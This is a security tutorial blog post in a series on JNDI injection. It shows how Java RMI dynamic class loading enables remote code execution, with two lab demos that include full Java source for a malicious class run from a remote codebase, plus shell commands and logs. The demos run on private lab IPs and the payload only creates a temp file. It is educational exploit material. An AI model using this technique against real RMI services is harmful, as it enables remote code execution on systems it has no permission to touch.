JNDI Injection Series: RMI Vector - Dynamic Class Loading From Remote URL

Yani
InfoSec Write-ups
Published in
10 min readDec 29, 2022

--

https://unsplash.com/photos/zxLFkqDtG08

We have introduced fundamentals about RMI system in the previous blog. In this blog, we will move on to see how RMI can be exploited to get RCE via dynamic class loading.

Dynamic Class Loading in RMI

The Java RMI, is a mechanism that allows an object that exists in one Java virtual machine (RMI client) to invoke methods that are defined in another Java virtual machine (RMI server). When parameters, return values or exceptions passed in RMI calls is an object, the RMI systems use object serialization to transmit data from one machine to another machine. The receiving program unmarshals the parameters and return values for a remote method invocation, they become live objects. The class definitions are required for these transmitted objects in the stream during this deserialization process. If they are standard objects, the classes will be loaded locally as they are available in every JVM. But if the classes can’t be resolved locally on the receiving program, the RMI provides a facility for dynamically loading the class definitions from network locations specified by the transmitting endpoint.

The following illustration depicts RMI systems that use the RMI registry to obtain a reference to a remote object and uses an existing Web server to load class bytecodes when unmarshaling the transmitted objects in the above scenario when needed. It can be the either RMI client or the RMI server to download the Class definition.

RMI allows the receiver to download the definition of an object’s class if the class definition is not found in the receiver’s JVM. All of the types and behavior of an object, previously available only in a single JVM, can be transmitted to remote receiver’s JVM. This capability dynamically extends the behaviors of an application, but in the meantime, introduces dangerous attack vector if the class definition files are controlled by adversaries. The arbitrary classes get interpreted by the class loader into the JVM, which means that the byte codes — no matter how malicious — will be interpreted in your system. The receiver’s server would fall victim to RCE.

There are two examples to showcase how the RMI client attacks the RMI server and the RMI server attacks the RMI client utilizing the dynamic class loading feature of the RMI system.

These two examples are using the same environment set up in the 2.1 section of the previous blog for both the RMI server and the RMI client.

Demo 1 Attacking the RMI Client

In this demo, there are two servers, one is the RMI client with IP 192.168.0.96, the other one is the RMI server with IP 192.168.0.95. A python web server serving a malicious Calc.class runs on the RMI server. To attack the RMI client, the RMI server configures the python web server as code base, and uses a Calc object as the return value of the method which is invoked by the RMI client. As the Calc object only exists on the codebase specified by the RMI server, the RMI client gets to download the Calc.class to resolve the definition of the Calc class after it get the Calc object as the return value. The malicious commands implanted in the Calc.class get executed once it is interpreted by the RMI client JVM.

2.1 Set up an RMI Server

Defining the Remote Interface

As mentioned in the previous blog, an RMI application should start with a remote interface that extends the RMI defined Remote interface. The methods of a remote object that can be invoked remotely must be specified in the interface. Every method in the interface must be declared to throw the RemoteException in order to account for errors during remote method invocation.

In this demo, Services interface is defined in Services.java.

Services.java

package rmi.api;
import java.rmi.RemoteException;

public interface Services extends java.rmi.Remote {
Object sendMessage(String msg) throws RemoteException;
}

The same interface is a part of both server and client application serving as the contract for the communication between them.

Developing the Implementation Class

With the remote interface providing the description of all the methods of the particular remote object, the next thing is to create an implementation of that interface and provide implementation to all the abstract methods of the interface.

ServicesImpl.java

package rmi.api.imp;
import rmi.remoteclass.Calc;
import java.rmi.RemoteException;
import rmi.api.Services;

public class ServicesImpl implements Services {
@Override
public Calc sendMessage(String msg) throws RemoteException {
return new Calc();
}
}

Calc class is a malicious class defined on the RMI server, a Calc object is the return value of sendMessage method which will be invoked by the RMI client. Inside the Calc.class, there is a static block containing arbitrary commands. The static block will get triggered when the Calc.class loaded in the RMI client JVM.

Calc.java

package rmi.remoteclass;
import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
import java.io.Serializable;

public class Calc implements ObjectFactory, Serializable {
private static final long serialVersionUID = 4474289574195395731L;

static {
try {
Runtime rt = Runtime.getRuntime();
// it will get executed on the RMI client
String[] commands = {"touch", "/tmp/Calc1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
try {
// it will not get executed during the exp
System.out.println("Enter getObjectInstance");
} catch (Exception e) {
// do nothing
}
return null;
}
}

Creating RMI Server Class

RmiServer.java

package rmi.server;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
import rmi.api.imp.ServicesImpl;
import rmi.api.Services;

public class RmiServer {
public static void main(String[] args) {
try {
ServicesImpl obj = new ServicesImpl();
Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
System.setProperty("java.rmi.server.codebase", "http://192.168.0.95:8000/");

Registry reg;
try {
reg = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
} catch (Exception e) {
System.out.println("Using existing registry");
reg = LocateRegistry.getRegistry();
}
reg.bind("Services", services);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}

The 192.168.0.95 is the RMI server’s IP, it also used to host a python web server to provide Calc.class file when the RMI server set the code base to 192.168.0.95, and you can configure it to another server IP as desired.

Compiling the code

The above souce code files are stored in the following folder structure for your reference.

Compile the Calc.java

[root@demo rmi-server]# javac rmi/remoteclass/Calc.java

Set up simple http server under rmi-server folder to serve Calc.class

[root@demo rmi-server]# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Compile the RMI server and launch it

[root@demo rmi-server]# javac rmi/server/RmiServer.java 
[root@demo rmi-server]# java rmi/server/RmiServer
java RMI registry created. port on 9999...

2.2 Set up an RMI Client

You have get the RMI server ready, it is time for the RMI client. On the client server, it is simpler, you only need to define the same remote interface as on the RMI server and create RMI client Class.

Defining the Remote Interface

Services.java

package rmi.api;
import java.rmi.RemoteException;

public interface Services extends java.rmi.Remote {
Object sendMessage(String msg) throws RemoteException;
}

The interface should be in the same package as specified in the RMI server, otherwise you will run into some error “no security manager: RMI class loader disabled” when RMI client trying to invoke the method on the remote server object.

Create RMI Client

RmiClient.java

//RMIClient1.java
package rmi.client;

import java.rmi.RMISecurityManager;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import rmi.api.Services;

public class RmiClient {

public static void main(String[] args) throws Exception {
String host = "localhost";
if (args.length > 0)
host = args[0];

System.setProperty("java.security.policy", RmiClient.class.getClassLoader().getResource("resources/java.policy").getFile());
RMISecurityManager securityManager = new RMISecurityManager();
System.setSecurityManager(securityManager);

Registry registry = LocateRegistry.getRegistry(host, 9999);
Services services = (Services) registry.lookup("Services");
services.sendMessage("hello");
}
}

The above souce code files are stored in the following folder structure for your reference.

On the RMI client, compile the java file and execute it under rmi-client directory. As you have put the RMI server and Client on the different servers, when running the RMI client, the RMI server’s IP (192.168.0.95 is the RMI server’s IP in this demo) should be fed as a parameter for the RMI client.

[root@demo rmi-client]# javac rmi/client/RmiClient.java 
[root@demo rmi-client]# java rmi/client/RmiClient 192.168.0.95
[root@demo rmi-client]#

On the RMI server side, it is logged that the Calc.class is downloaded from the web server by the RMI client whose IP is 192.168.0.96:

[root@demo ~]# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.0.96 - - [25/Dec/2022 21:35:55] "GET /rmi/remoteclass/Calc.class HTTP/1.1" 200 -

Check /tmp/ folder on the RMI client server, you will find Calc1 file, which means that String[] commands = {"touch", "/tmp/Calc1"}; inside the static block of Calc class get executed.

[root@demo ~]# ls /tmp/
Calc1

Demo 2 Attacking the RMI Server

Still with two same servers as the previous demo(one is the RMI client with IP 192.168.0.96, the other one is the RMI server with IP 192.168.0.95), but this demo switches the attacker and the victim roles between these two servers.

This time, a web server serving a malicious Calc.class runs on the RMI client server. To attack the RMI server, the RMI client configures the web server as code base, and uses a Calc object as the parameter for the method which it invokes remotely. As Calc object only exists on the codebase specified by the RMI client, the RMI server will download the Calc.class to resolve the definition of the Calc class after it get the Calc object as input parameter for the invoked method. The malicious commands embedded in the Calc class get executed once it is interpreted by the RMI server JVM.

Here only display the code of the RMI server and the RMI client classes for the brevity. The complete source code can be downloaded from the github left at the end of the blog post.

The RMI server’s java file:

RmiServer.java

package rmi.server;

import java.rmi.RMISecurityManager;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
import rmi.api.imp.ServicesImpl;
import rmi.api.Services;

public class RmiServer {
public static void main(String[] args) {
try {
ServicesImpl obj = new ServicesImpl();
Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
Registry reg;

try {
System.setProperty("java.security.policy", RmiServer.class.getClassLoader().getResource("resources/java.policy").getFile());
RMISecurityManager securityManager = new RMISecurityManager();
System.setSecurityManager(securityManager);

reg = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
} catch (Exception e) {
System.out.println("Using existing registry");
reg = LocateRegistry.getRegistry();
}

reg.bind("Services", services);

} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}

Compile the code the start the RMI server.

[root@demo rmi-server]# javac rmi/server/RmiServer.java 
[root@demo rmi-server]# java rmi/server/RmiServer
java RMI registry created. port on 9999...

The RMI client class is defined as below:

RmiClient.java

//RMIClient1.java
package rmi.client;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import rmi.api.Services;
import rmi.remoteclass.Calc;

public class RmiClient {
public static void main(String[] args) throws Exception {
String host = "localhost";
if (args.length > 0)
host = args[0];

System.setProperty("java.rmi.server.codebase", "http://192.168.0.96:8000/");
Registry registry = LocateRegistry.getRegistry(host, 9999);
Services services = (Services) registry.lookup("Services");
Calc calc = new Calc();
services.sendMessage(calc);
}
}

The sendMessage method defined on the RMI server accept Message object as the parameter, but to attack the RMI server, the RMI client provides a Calc object as the parameter of sendMessage method.

On the client end , start a simple web server to host the Calc.class file.

[root@demo rmi-client]# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Compile the Calc code

[root@demo rmi-client]# javac rmi/remoteclass/Calc.java

Compile the RMI client code, and launch it, 192.168.0.95 is the IP of the RMI server.

[root@demo rmi-client]# javac rmi/client/RmiClient.java 
[root@demo rmi-client]# java rmi/client/RmiClient 192.168.0.95
[root@demo rmi-client]#

After the RMI client gets executed, from the web server’s console, it is observed that the RMI server(192.168.0.95) downloads the malicious Calc.class from the web server.

[root@demo rmi-client]#  python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.0.95 - - [25/Dec/2022 22:55:13] "GET /rmi/remoteclass/Calc.class HTTP/1.1" 200 -

Check the tmp folder on the RMI server Linux, Calc1 file is created as the result of the embedded commands inside the Calc.class getting executed on the RMI server.

[root@demo rmi-server]# ls /tmp/
Calc1

The source code for the above two demo can be found at Attacking RMI Client and Attacking RMI Server.

In the reality, there are restrictions and filtering mechanisms to the dynamic class loading from the remote source, the attacker never stop evolving and adapting new techniques to bypass these restrictions, you will see some exploitation examples in the next blog post in the series.

In next blog post, we will learn how to use insecure deserialization to attack RMI services.

Reference:

https://paper.seebug.org/1091/ (in Chinese)

Final Thoughts

If you have any questions or feedback, feel free to leave a comment. If you think this blog post is helpful, please click the clap 👏 button below a few times to show your support!

From Infosec Writeups: A lot is coming up in the Infosec every day that it’s hard to keep up with. Join our weekly newsletter to get all the latest Infosec trends in the form of 5 articles, 4 Threads, 3 videos, 2 GitHub Repos and tools, and 1 job alert for FREE!

--

--

Focusing on Security for Web Application, AWS and Kubernetes, etc. | CKA&CKS, AWS Security & ML Specialty | https://www.linkedin.com/in/yani-dong-041a1b120/